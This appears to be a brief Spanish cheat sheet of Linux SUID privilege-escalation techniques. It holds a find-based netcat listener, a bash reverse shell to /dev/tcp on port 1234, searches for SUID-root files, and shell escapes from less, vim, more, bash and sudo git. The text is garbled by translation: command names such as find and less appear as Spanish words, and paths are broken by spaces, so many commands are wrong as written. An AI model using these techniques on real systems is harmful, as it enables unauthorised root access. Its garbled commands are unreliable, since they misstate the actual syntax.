Notas de escalada de privilegios de suid en linux

encontrar

buscar / bin / -name ls -exec / bin / nc -lvp123;
buscar / bin / -name ls -exec / bin / bash -i> & /dev/tcp/127.0.0.1/1234 0> & 1;

buscar / -user root -perm -4000 -print 2> / dev / null
buscar / -perm -u = s -type f 2> / dev / null

Menos

menos / etc / passwd
! / bin / sh

empuje

: establecer shell = / bin / sh
: shell

sudo vim -c "! bash"

más

más ruta de archivo
! / bin / sh

intento

bash -p

git

estado de ayuda de sudo git

! / bin / sh